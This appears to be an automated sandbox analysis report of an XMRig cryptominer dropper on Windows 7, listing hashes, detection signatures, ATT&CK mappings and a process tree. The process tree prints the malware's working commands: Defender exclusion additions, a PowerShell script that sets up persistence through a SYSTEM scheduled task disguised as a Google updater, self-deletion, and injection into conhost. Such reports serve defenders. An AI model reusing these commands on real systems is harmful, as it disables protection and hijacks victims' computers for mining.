xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
387s
max time network
1796s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/12/2023, 12:16

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General

Target

QNREJhVYDhHk52cq3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2012 created 1248	2012	QNREJhVYDhHk52cq3.exe	21
PID 2012 created 1248	2012	QNREJhVYDhHk52cq3.exe	21
PID 2012 created 1248	2012	QNREJhVYDhHk52cq3.exe	21
PID 2012 created 1248	2012	QNREJhVYDhHk52cq3.exe	21
PID 2436 created 1248	2436	updater.exe	21
PID 2436 created 1248	2436	updater.exe	21
PID 2436 created 1248	2436	updater.exe	21
PID 2436 created 1248	2436	updater.exe	21
PID 1904 created 1248	1904	conhost.exe	21
PID 2436 created 1248	2436	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral1/memory/1808-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-142-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1808-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
3008	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2436	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2824	taskeng.exe

UPX packed file 28 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1808-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-142-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1808-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2436 set thread context of 1904	2436	updater.exe	54
PID 2436 set thread context of 1808	2436	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	QNREJhVYDhHk52cq3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2980	schtasks.exe
1892	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2324	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80b88fab7436da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2012	QNREJhVYDhHk52cq3.exe
2012	QNREJhVYDhHk52cq3.exe
1108	powershell.exe
2012	QNREJhVYDhHk52cq3.exe
2012	QNREJhVYDhHk52cq3.exe
2664	powershell.exe
2012	QNREJhVYDhHk52cq3.exe
2012	QNREJhVYDhHk52cq3.exe
2012	QNREJhVYDhHk52cq3.exe
2012	QNREJhVYDhHk52cq3.exe
2912	powershell.exe
2436	updater.exe
2436	updater.exe
2984	powershell.exe
2436	updater.exe
2436	updater.exe
1428	powershell.exe
2436	updater.exe
2436	updater.exe
2436	updater.exe
2436	updater.exe
1904	conhost.exe
1904	conhost.exe
2436	updater.exe
2436	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	2436	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2324	WMIC.exe
Token: SeSecurityPrivilege	2324	WMIC.exe
Token: SeTakeOwnershipPrivilege	2324	WMIC.exe
Token: SeLoadDriverPrivilege	2324	WMIC.exe
Token: SeSystemtimePrivilege	2324	WMIC.exe
Token: SeBackupPrivilege	2324	WMIC.exe
Token: SeRestorePrivilege	2324	WMIC.exe
Token: SeShutdownPrivilege	2324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2324	WMIC.exe
Token: SeUndockPrivilege	2324	WMIC.exe
Token: SeManageVolumePrivilege	2324	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2324	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2324	WMIC.exe
Token: SeSecurityPrivilege	2324	WMIC.exe
Token: SeTakeOwnershipPrivilege	2324	WMIC.exe
Token: SeLoadDriverPrivilege	2324	WMIC.exe
Token: SeSystemtimePrivilege	2324	WMIC.exe
Token: SeBackupPrivilege	2324	WMIC.exe
Token: SeRestorePrivilege	2324	WMIC.exe
Token: SeShutdownPrivilege	2324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2324	WMIC.exe
Token: SeUndockPrivilege	2324	WMIC.exe
Token: SeManageVolumePrivilege	2324	WMIC.exe
Token: SeLockMemoryPrivilege	1808	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2980	2664	powershell.exe	34
PID 2664 wrote to memory of 2980	2664	powershell.exe	34
PID 2664 wrote to memory of 2980	2664	powershell.exe	34
PID 3008 wrote to memory of 3052	3008	cmd.exe	35
PID 3008 wrote to memory of 3052	3008	cmd.exe	35
PID 3008 wrote to memory of 3052	3008	cmd.exe	35
PID 2912 wrote to memory of 2820	2912	powershell.exe	38
PID 2912 wrote to memory of 2820	2912	powershell.exe	38
PID 2912 wrote to memory of 2820	2912	powershell.exe	38
PID 2824 wrote to memory of 2436	2824	taskeng.exe	39
PID 2824 wrote to memory of 2436	2824	taskeng.exe	39
PID 2824 wrote to memory of 2436	2824	taskeng.exe	39
PID 1428 wrote to memory of 1892	1428	powershell.exe	47
PID 1428 wrote to memory of 1892	1428	powershell.exe	47
PID 1428 wrote to memory of 1892	1428	powershell.exe	47
PID 2436 wrote to memory of 1904	2436	updater.exe	54
PID 1180 wrote to memory of 2324	1180	cmd.exe	48
PID 1180 wrote to memory of 2324	1180	cmd.exe	48
PID 1180 wrote to memory of 2324	1180	cmd.exe	48
PID 2436 wrote to memory of 1808	2436	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1248
- C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe
  "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2980
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2440
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1180
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1904
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1808

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:3052

C:\Windows\system32\taskeng.exe
taskeng.exe {FAA48A52-0532-406E-8F29-EC6D1030BA71} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2436

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2820

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
172KB

MD5
eadbdef446cd3b08af0be8d2714ff50d

SHA1
cda7958f06a11a985e8dc50215651200e8b08184

SHA256
43690c08686e3523f5385c4f164a083b1f38735cfba3100f5170dd05566a7727

SHA512
2f32fbd4b21cab8246431deff9180fb63b8e718082275d9c7721883a7c64464f0a169a9e58394fcff3c3f5af8898a31d504466fc56e07141ae6bcf4c6754fa56

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
186KB

MD5
4e62672749c51f46f1c601db32ac7e5f

SHA1
27b74e66ec1178273365c837ba2a79cb50f4de1a

SHA256
63c2b12c6abea3a2201f7c639130e2b1a4b418d69db345574c51d53d75887395

SHA512
04bc4bc290319bfc4adf6ddeb3eafbae46b69b38ee2d04ac20f2aeaad5e3be15b5c28a44a01a070b791bdc5871c6cf2a70d1269c5fc2b5a09a20ae2c42aa34df

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0d18e253991a07fb097e36737c5b99bd

SHA1
a463272f9455be461792bda8cceb88af9a42bc42

SHA256
0370d281177d81d72a502e98375a8aeec06f299626ee4b688b878028015f084c

SHA512
7a331fbbc0d84ef0c0ce2b24bffa2d02eb10238af010353253d9f804f8f9bd1299c4c42fb5605ce4206015b00e85d25eebfaf7c65d6a109c561d10b5e5bfbffa

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
272KB

MD5
a988d3326a1d35d61346774ec5439605

SHA1
8bf42f7f8011d66600459e6ac4e37c6bf67905f4

SHA256
a1ba22f00b24dc0f13d6d169cf427b465eda2242913eada501036140d28d04ae

SHA512
dd3ae29146c50bf29dc3a398b70fab3564b61e39d749a267ea04920cb0431695b028364f746727f7ec31e9d2319d85328fd100e71e25f508febbcf98de2fede1

Download Submit
memory/1108-12-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/1108-10-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/1108-11-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1108-13-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/1108-15-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1108-8-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1108-7-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1108-6-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/1428-68-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1428-65-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-64-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-63-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1428-57-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1428-60-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-59-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-58-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-56-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1428-55-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/1428-67-0x0000000000E80000-0x0000000000F00000-memory.dmp

Filesize
512KB

Download
memory/1808-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-144-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-142-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-140-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-138-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-88-0x0000000000500000-0x0000000000520000-memory.dmp

Filesize
128KB

Download
memory/1808-87-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1808-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-77-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/1808-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1808-79-0x0000000000500000-0x0000000000520000-memory.dmp

Filesize
128KB

Download
memory/1808-78-0x0000000000250000-0x0000000000270000-memory.dmp

Filesize
128KB

Download
memory/1904-84-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1904-80-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2012-0-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

Filesize
2.1MB

Download
memory/2012-5-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

Filesize
2.1MB

Download
memory/2012-31-0x000000013F6D0000-0x000000013F8E1000-memory.dmp

Filesize
2.1MB

Download
memory/2436-75-0x000000013F7F0000-0x000000013FA01000-memory.dmp

Filesize
2.1MB

Download
memory/2436-47-0x000000013F7F0000-0x000000013FA01000-memory.dmp

Filesize
2.1MB

Download
memory/2436-61-0x000000013F7F0000-0x000000013FA01000-memory.dmp

Filesize
2.1MB

Download
memory/2664-28-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2664-29-0x000007FEF4AD0000-0x000007FEF546D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-27-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2664-24-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2664-26-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
